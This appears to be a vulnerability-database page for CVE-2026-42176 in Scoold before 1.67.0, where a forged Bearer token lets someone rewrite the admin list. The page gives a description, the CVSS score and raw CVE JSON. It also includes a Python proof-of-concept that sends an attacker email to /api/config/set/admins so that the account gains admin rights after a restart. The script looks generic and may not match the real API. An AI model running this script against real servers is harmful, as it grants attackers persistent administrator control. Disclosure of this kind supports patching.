Security Vulnerability Report
中文
CVE-2026-42176 CVSS 6.7 MEDIUM

CVE-2026-42176

Published: 2026-05-08 20:16:31
Last Modified: 2026-05-08 20:16:31

Description

Scoold is a Q&A and a knowledge sharing platform for teams. Prior to version 1.67.0, Scoold allows the admins configuration value to be modified through /api/config/set/admins with a forged Bearer token that is accepted as an admin API token. Once that setting is changed, the target email address is written to the application configuration file. The change does not become active immediately in the current process, because the ADMINS set is loaded once at startup. After a Scoold restart, though, the selected user is recognized as an administrator and gains access to the admin panel. This issue gives an attacker a reliable persistence path: write their own email into scoold.admins, wait for a restart or trigger one operationally, and the account comes back as admin. This issue has been patched in version 1.67.0.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Scoold < 1.67.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Vulnerable endpoint) target_url = "http://target-scoold-instance/api/config/set/admins" # Vulnerability: The API accepts a forged or weak Bearer token # allowing modification of the admin configuration. headers = { "Authorization": "Bearer <forged_or_invalid_token>", "Content-Type": "application/json" } # Payload: The attacker's email address to be added as an admin payload = { "email": "[email protected]" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Configuration successfully modified.") print("[+] Attacker email written to config. Privileges will be granted after restart.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42176", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:30.873", "lastModified": "2026-05-08T20:16:30.873", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Scoold is a Q&A and a knowledge sharing platform for teams. Prior to version 1.67.0, Scoold allows the admins configuration value to be modified through /api/config/set/admins with a forged Bearer token that is accepted as an admin API token. Once that setting is changed, the target email address is written to the application configuration file. The change does not become active immediately in the current process, because the ADMINS set is loaded once at startup. After a Scoold restart, though, the selected user is recognized as an administrator and gains access to the admin panel. This issue gives an attacker a reliable persistence path: write their own email into scoold.admins, wait for a restart or trigger one operationally, and the account comes back as admin. This issue has been patched in version 1.67.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/Erudika/scoold/releases/tag/1.67.0", "source": "[email protected]"}, {"url": "https://github.com/Erudika/scoold/security/advisories/GHSA-7qfx-c234-xg4g", "source": "[email protected]"}, {"url": "https://github.com/Erudika/scoold/security/advisories/GHSA-7qfx-c234-xg4g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}